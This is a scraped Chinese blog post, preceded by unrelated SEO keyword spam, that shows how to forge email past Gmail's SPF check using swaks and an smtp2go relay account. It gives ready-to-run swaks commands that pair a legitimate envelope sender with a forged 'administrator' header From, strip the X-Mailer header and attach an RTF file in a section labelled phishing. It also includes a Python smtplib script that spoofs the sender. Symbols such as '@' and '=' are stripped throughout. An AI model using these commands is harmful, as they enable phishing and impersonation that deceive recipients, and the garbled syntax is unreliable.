南京网站制作千,网站域名做链接怎么做,如何做镜框 网站,c 手机网站开发0x00 swaksswaks - Swiss Army Knife SMTP, the all-purpose smtp transaction tester.swaks堪称SMTP协议的瑞士军刀#xff0c;使用它我们可以灵活的操作SMTP协议报文#xff0c;这篇文章主要是记录一下我是如何伪造一封邮件绕过gmail的检测。通常最简单的发送命令#xff… 0x00 swaksswaks - Swiss Army Knife SMTP, the all-purpose smtp transaction tester.swaks堪称SMTP协议的瑞士军刀使用它我们可以灵活的操作SMTP协议报文这篇文章主要是记录一下我是如何伪造一封邮件绕过gmail的检测。通常最简单的发送命令swaks --to userexample.com --server test-server.example.net但是邮件头中会带上X-Mailer同时SPF检测会FAIL。0x01 smtp2go这个是从evi1cg师傅那里看到的smtp2go主要是相当于邮件托管可以分发子账户进行发送。地址https://support.smtp2go.com/hc/en-gb(邮箱注册)普通账户可以免费发1000封邮件。分配好账户后可以通过swaks进行登录发送邮件0x02 swaks发送邮件swaks --to rvn0xsygmail.com --from adminqq.com --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au -ap 但是上面这个邮件无法绕过SPF。0x03 SPF验证原理如果mail.smtp2go.com是我的邮件服务器那么gmail服务器收到的源IP也肯定是mail.smtp2go.com的IP。gmail会校验邮件发送者的IP是否存在于smtp.from的域名spf配置列表里。而上面这条命令swaks --to rvn0xsygmail.com --from adminqq.com --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au -ap smtp.from就是adminqq.com和mail.smtp2go.com的IP肯定不同所以SPF校验失败而校验失败的邮件会有很高的几率被扔到垃圾邮件中。默认情况下如果未设置Mail.From也就是邮件头的From则会使用smtp.from作为Mail.From。0x04 绕过SPF由于邮件显示的是Header中的From不是smtp.from因此可以将smtp.from设置为正常的邮件服务器地址伪造一个Mail.From即可。swaks --to payloadsaliyun.com --from xxsmtp2go.com --h-From: 管理员 --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au -ap Gmail接收到这封邮件后会校验--from xxsmtp2go.com中的smtp2go.com是否等于mail.smtp2go.com的IP由于是相等的所以完成了SPF的校验。而DKIM是校验邮件完整性的smtp2go与Gmail直接使用的是TLS不会发生什么问题。0x05 Headerswaks支持自定义某些Header参数如下swaks --header-如果我想去除Mailer特征就可以这么做swaks --header-X-Mailer gmail.com --to payloadsaliyun.com --from xxsmtp2go.com --h-From: 管理员 --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au -ap 0x06 附件、钓鱼swaks --header-X-Mailer gmail.com --to payloadsaliyun.com --from xxsmtp2go.com --h-From: 管理员 --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au -ap --attach /tmp/sss.rtf定制发送swaks --data /tmp/mail.data --header-X-Mailer gmail.com --to payloadsaliyun.com --from xxsmtp2go.com --h-From: 管理员 --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au -ap --attach /tmp/sss.rtf/tmp/mail.data中是原始的邮件报文。0x07 Python也可以做#!/usr/bin/python# -*- coding: UTF-8 -*-import smtplibfrom email.mime.text import MIMETextfrom email.header import Headermail_hostmail.smtp2go.commail_usermail_passsender testsmtp2go.comreceivers [rvn0xsygmail.com]message MIMEText(Hello World, plain, utf-8)message[From] Header(fromqq.com, utf-8)message[To] Header(receivers[0], utf-8)subject SMTP 邮件测试message[Subject] Header(subject, utf-8)try:smtpObj smtplib.SMTP()smtpObj.connect(mail_host, 25)smtpObj.login(mail_user,mail_pass)smtpObj.sendmail(sender, receivers, message.as_string())print Successexcept smtplib.SMTPException:print Error